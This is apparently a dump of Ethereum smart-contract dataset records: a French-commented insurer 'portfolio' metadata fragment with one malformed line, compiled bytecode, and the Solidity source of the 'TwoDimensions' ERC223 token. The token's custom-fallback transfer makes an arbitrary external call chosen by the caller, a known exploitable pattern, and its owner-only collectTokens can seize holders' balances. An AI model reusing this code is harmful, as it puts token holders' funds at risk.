XA5RmDhQe1gg0tlXspwGq80o98Q6X5HkBVJ03FH1m8kBDx4sAT378Eyv05b8s6I7 > // < 1E-018 limites [ 798741625,876159 ; 868138618,229641 ] > // < 0x000000000000000000000000000000000000000000001298DF018F14368269B2 > // Programme d&#39;&#233;mission - Lignes 21 &#224; 30 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_I_metadata_line_21_____AEGON_NV_20250515 > // < m26v9Tz0FsLszrDM10eJ68FKp0s61s3H0HJn3J3n5aEbu8HoLU6Xu7TgJZTbaFw8 > // < 1E-018 limites [ 868138618,229641 ; 882720794,826364 ] > // < 0x0000000000000000000000000000000000000000000014368269B2148D6D0C6E > // < RE_Portfolio_I_metadata_line_22_____Aegon_NV_Am_20250515 > // < ElLDG106wbX8SH8pJvGpxOnMJxGlET4yu2NkKJKOgz2szohj20o2JVxe9cQlX8cA > // < 1E-018 limites [ 882720794,826364 ; 898758885,078411 ] > // < 0x00000000000000000000000000000000000000000000148D6D0C6E14ED053B6F > // < RE_Portfolio_I_metadata_line_23_____Africa_Re_20250515 > // < P6WH9g794sj698L00i7dFACuGrd0f0Vur67mtDd466pt35Cd7Es9BhATik6Ees75 > // < 1E-018 limites [ 898758885,078411 ; 946122877,964643 ] > // < 0x0000000000000000000000000000000000000000000014ED053B6F160754F328 > // < RE_Portfolio_I_metadata_line_24_____African_Re_Am_A_20250515 > // < p7YRryw12T9tC0Z39N7nq559f3I5yNBo2rWc75c06bOy19vM7Bc67UO07s9OafJV > // < 1E-018 limites [ 946122877,964643 ; 965358372,633065 ] > // < 0x00000000000000000000000000000000000000000000160754F3281679FBFC43 > // < RE_Portfolio_I_metadata_line_25_____AIG_Europe_Limited_Ap_A_20250515 > // < uKX10f6Yo1w9sA8I8u83ufyC972m828A370ROe6iG22Tee5G5H5gkIwHJX84vk8T > // < 1E-018 limites [ 965358372,633065 ; 989910438,093553 ] > // < 0x000000000000000000000000000000000000000000001679FBFC43170C5376D5 > // < RE_Portfolio_I_metadata_line_26_____AIOI_Nissay_Dowa_Insurance_co_Limited_Ap_Ap_20250515 > // < av00w72qCa3REFpUA56Rv3pSuZnA9LBzIgz012vbKv08SpDXREi92KuX7l36OK9P > // < 1E-018 limites [ 989910438,093553 ; 1005036319,37359 ] > // < 0x00000000000000000000000000000000000000000000170C5376D517667BBA35 > // < RE_Portfolio_I_metadata_line_27_____Al_Ain_Ahlia_Co_m_m_A3_20250515 > // < 9H6UlMINa2H1soX0iBPX1s2M007cFciXmeKA4k422edw9PDUX91IGZhy25fbT7mb > // < 1E-018 limites [ 1005036319,37359 ; 1074144145,91984 ] > // < 0x0000000000000000000000000000000000000000000017667BBA35190265E6F3 > // < RE_Portfolio_I_metadata_line_28_____Al_Buhaira_National_Insurance_Co__PSC__BBp_m_20250515 > // < 7KR2BZYnxCj3W4pMj9p03Xkgw7eH7WDX1mqVBeNBSBShhI16h5WjWjHTYs4uLk6E > // < 1E-018 limites [ 1074144145,91984 ; 1155256692,99988 ] > // < 0x00000000000000000000000000000000000000000000190265E6F31AE5DDD3A7 > // < RE_Portfolio_I_metadata_line_29_____Al_Dhafra_Ins_Co_20250515 > // < buBigs1y460UNH9V4K49q57e9686068EMdXNv6MEd2QB1qt59WOVm12jms0MJyXI > // < 1E-018 limites [ 1155256692,99988 ; 1183878672,65548 ] > // < 0x000000000000000000000000000000000000000000001AE5DDD3A71B90778075 > // < RE_Portfolio_I_metadata_line_30_____Al_Koot_Insurance_&_Reinsurance_Company_SAQ_Am_20250515 > // < 4BRouiCWCQ68P1KeR5ua8AT4ph3q8GwJqvfrH0F39XR6y8B1zYU4U9Ir80qG006x > // < 1E-018 limites [ 1183878672,65548 ; 1233858401,84714 ] > // < 0x000000000000000000000000000000000000000000001B907780751CBA5E842C > // Programme d&#39;&#233;mission - Lignes 31 &#224; 40 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_I_metadata_line_31_____Alamance_Reinsurance_Marketplace_20250515 > // < Vn3Es8zT3ND7qxXzjb6upKBmuqW4JGiiLV6KvP9DxFJq15GpPmqBfJft6Rs60u8A > // < 1E-018 limites [ 1233858401,84714 ; 1264820467,11963 ] > // < 0x000000000000000000000000000000000000000000001CBA5E842C1D72EAE0EB > // < RE_Portfolio_I_metadata_line_32_____Alamance_Reinsurance_Marketplace_20250515 > // < e8GxjzejB6y9r32WQL9Iab17d6Kvj4I1wB51og5TXDxH0CLsEACDc3FM3uqf0YKH > // < 1E-018 limites [ 1264820467,11963 ; 1283756862,01428 ] > // < 0x000000000000000000000000000000000000000000001D72EAE0EB1DE3C9862D > // < RE_Portfolio_I_metadata_line_33_____Alfa_Strakhovanie_Plc_20250515 > // < 0WViis0N2O930PuZ3fpzQLdS7q009KOBuFdv9r88ixdb5WIN2qtyUkk910ympbCp > // < 1E-018 limites [ 1283756862,01428 ; 1349863972,00733 ] > // < 0x000000000000000000000000000000000000000000001DE3C9862D1F6DD0F804 > // < RE_Portfolio_I_metadata_line_34_____Algeria_BBBm_Compagnie_Centrale_De_Reassurance__CCR__Bp_20250515 > // < w3Q7dSK50A5rjkYs5Y3GN4i6cYkV23tMwhcGG9cYVt7cXs0RML8g72gv686253s5 > // < 1E-018 limites [ 1349863972,00733 ; 1423344515,98195 ] > // < 0x000000000000000000000000000000000000000000001F6DD0F8042123CB6182 > // < RE_Portfolio_I_metadata_line_35_____Algeria_BBBm_Compagnie_Centrale_De_Reassurance__CCR__Bp_20250515 > // < 1L09VSpqd5352A9I09tvNfc05DlKBaQ3Qb8ymoHrP52VU5s5447e1R1lRKg40PEl > // < 1E-018 limites [ 1423344515,98195 ; 1437217512,29135 ] > // < 0x000000000000000000000000000000000000000000002123CB618221767BE4B1 > // < RE_Portfolio_I_metadata_line_36_____Alliance_Insurance__PSC__Am_20250515 > // < sgH7pJ29ja0Nx2u457YV0ts6NB51vINil960fDYno6ynS0zrL17Ow51dS40h1L8l > // < 1E-018 limites [ 1437217512,29135 ; ] > // < 0x0000000000000000000000000000000000000000000021767BE4B122D2D1D670 > // < RE_Portfolio_I_metadata_line_37_____Allianz_Global_Corporate_&_Specialty_SE_AA_Ap_20250515 > // < n56b380a50AH7M1YM4TlPYc632KL80uEP7zA295H8e1c9vpgJcTAmqoqYE4s7168 > // < 1E-018 limites [ 1495658548,44372 ; 1537055049,94057 ] > // < 0x0000000000000000000000000000000000000000000022D2D1D67023C98FE2D6 > // < RE_Portfolio_I_metadata_line_38_____Allianz_Global_Risks_US_Insurance_Co_AA_20250515 > // < jjo6iUwbdK1qCqdn85DX6b99SYZ21UN6z0yvWII49iXv1LUvgClG1O4JE10HkCSg > // < 1E-018 limites [ 1537055049,94057 ; 1548694914,34345 ] > // < 0x0000000000000000000000000000000000000000000023C98FE2D6240EF0E8DE > // < RE_Portfolio_I_metadata_line_39_____Allianz_Private_KrankenversicherungsmAG_AA_20250515 > // < 77Fbsr5HRr252IN58Wpy5V9AOXAimYkpYS6OX60jzp4bRVjB7rZPswdo8r64jrPt > // < 1E-018 limites [ 1548694914,34345 ; 1578492143,45902 ] > // < 0x00000000000000000000000000000000000000000000240EF0E8DE24C08BDF7D > // < RE_Portfolio_I_metadata_line_40_____Allianz_Risk_Transfer_AG_AAm_20250515 > // < 8gw9ZNBr5JvL1m8vcB9Me21T8y6R4lrmzDes8wxmE7F9pxuWp49T2b2GyHoi9EM9 > // < 1E-018 limites [ 1578492143,45902 ; 1591676265,57532 ] > // < 0x0000000000000000000000000000000000000000000024C08BDF7D250F213F31 > }
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013957806318160ddd1461019e57806323b872dd146101c9578063313ce5671461024e57806370a082311461027f57806395d89b41146102d6578063a9059cbb14610366578063b5c8f317146103cb578063dd62ed3e146103e2575b600080fd5b3480156100b557600080fd5b506100be610459565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fe5780820151818401526020810190506100e3565b50505050905090810190601f16801561012b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014557600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104f7565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b36105e9565b6040518082815260200191505060405180910390f35b3480156101d557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ef565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b5061026361085b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028b57600080fd5b506102c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086e565b6040518082815260200191505060405180910390f35b3480156102e257600080fd5b506102eb610886565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032b578082015181840152602081019050610310565b50505050905090810190601f1680156103585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037257600080fd5b506103b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610924565b604051808215151515815260200191505060405180910390f35b3480156103d757600080fd5b506103e0610a7a565b005b3480156103ee57600080fd5b50610443600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b29565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ef5780601f106104c4576101008083540402835291602001916104ef565b820191906000526020600020905b8154815290600101906020018083116104d257829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561063e57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106c957600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097357600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058209a7ce3c5cd772309874ec854380d3e1995977c5b21cacc750371b8b488569d300029
{"success": true, "error": null, "results": {}}
10,014
0x84c8129f145ae59cba7a0221702fcbc4c2a1472f
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /** * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title TwoDimensions * @author TwoDimensions * @dev TwoDimensions is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract TwoDimensions is ERC223, Ownable { using SafeMath for uint256; string public name = "TwoDimensions"; string public symbol = "2D"; uint8 public decimals = 8; uint256 public totalSupply = 240e9 * 1e8; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function TwoDimensions() public { balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn't work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
0x6060604052600436106101455763ffffffff60e060020a60003504166305d2035b811461014f57806306fdde0314610176578063095ea7b31461020057806318160ddd1461022257806323b872dd14610247578063313ce5671461026f57806340c10f19146102985780634f25eced146102ba57806364ddc605146102cd57806370a082311461035c5780637d64bcb41461037b5780638da5cb5b1461038e57806394594625146103bd57806395d89b411461040e5780639dc29fac14610421578063a8f11eb914610145578063a9059cbb14610443578063b414d4b614610465578063be45fd6214610484578063c341b9f6146104e9578063cbbe974b1461053c578063d39b1d481461055b578063dd62ed3e14610571578063dd92459414610596578063f0dc417114610625578063f2fde38b146106b4578063f6368f8a146106d3575b61014d61077a565b005b341561015a57600080fd5b6101626108ef565b604051901515815260200160405180910390f35b341561018157600080fd5b6101896108f8565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101c55780820151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020b57600080fd5b610162600160a060020a03600435166024356109a0565b341561022d57600080fd5b610235610a0c565b60405190815260200160405180910390f35b341561025257600080fd5b610162600160a060020a0360043581169060243516604435610a12565b341561027a57600080fd5b610282610c21565b60405160ff909116815260200160405180910390f35b34156102a357600080fd5b610162600160a060020a0360043516602435610c2a565b34156102c557600080fd5b610235610d2c565b34156102d857600080fd5b61014d600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d3295505050505050565b341561036757600080fd5b610235600160a060020a0360043516610e8c565b341561038657600080fd5b610162610ea7565b341561039957600080fd5b6103a1610f14565b604051600160a060020a03909116815260200160405180910390f35b34156103c857600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f2392505050565b341561041957600080fd5b6101896111b1565b341561042c57600080fd5b61014d600160a060020a0360043516602435611224565b341561044e57600080fd5b610162600160a060020a036004351660243561130c565b341561047057600080fd5b610162600160a060020a03600435166113e7565b341561048f57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506113fc95505050505050565b34156104f457600080fd5b61014d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506114c79050565b341561054757600080fd5b610235600160a060020a03600435166115c9565b341561056657600080fd5b61014d6004356115db565b341561057c57600080fd5b610235600160a060020a03600435811690602435166115fb565b34156105a157600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061162695505050505050565b341561063057600080fd5b6101626004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118d895505050505050565b34156106bf57600080fd5b61014d600160a060020a0360043516611ba6565b34156106de57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c4195505050505050565b60006006541180156107a85750600654600154600160a060020a031660009081526008602052604090205410155b80156107cd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156107f05750600160a060020a0333166000908152600b602052604090205442115b15156107fb57600080fd5b600034111561083857600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561083857600080fd5b600654600154600160a060020a03166000908152600860205260409020546108659163ffffffff611f9916565b600154600160a060020a039081166000908152600860205260408082209390935560065433909216815291909120546108a39163ffffffff611fab16565b600160a060020a03338116600081815260086020526040908190209390935560015460065491939216916000805160206123e683398151915291905190815260200160405180910390a3565b60075460ff1681565b6109006123d3565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b820191906000526020600020905b81548152906001019060200180831161097957829003601f168201915b5050505050905090565b600160a060020a03338116600081815260096020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000600160a060020a03831615801590610a2c5750600082115b8015610a515750600160a060020a038416600090815260086020526040902054829010155b8015610a845750600160a060020a0380851660009081526009602090815260408083203390941683529290522054829010155b8015610aa95750600160a060020a0384166000908152600a602052604090205460ff16155b8015610ace5750600160a060020a0383166000908152600a602052604090205460ff16155b8015610af15750600160a060020a0384166000908152600b602052604090205442115b8015610b145750600160a060020a0383166000908152600b602052604090205442115b1515610b1f57600080fd5b600160a060020a038416600090815260086020526040902054610b48908363ffffffff611f9916565b600160a060020a038086166000908152600860205260408082209390935590851681522054610b7d908363ffffffff611fab16565b600160a060020a03808516600090815260086020908152604080832094909455878316825260098152838220339093168252919091522054610bc5908363ffffffff611f9916565b600160a060020a03808616600081815260096020908152604080832033861684529091529081902093909355908516916000805160206123e68339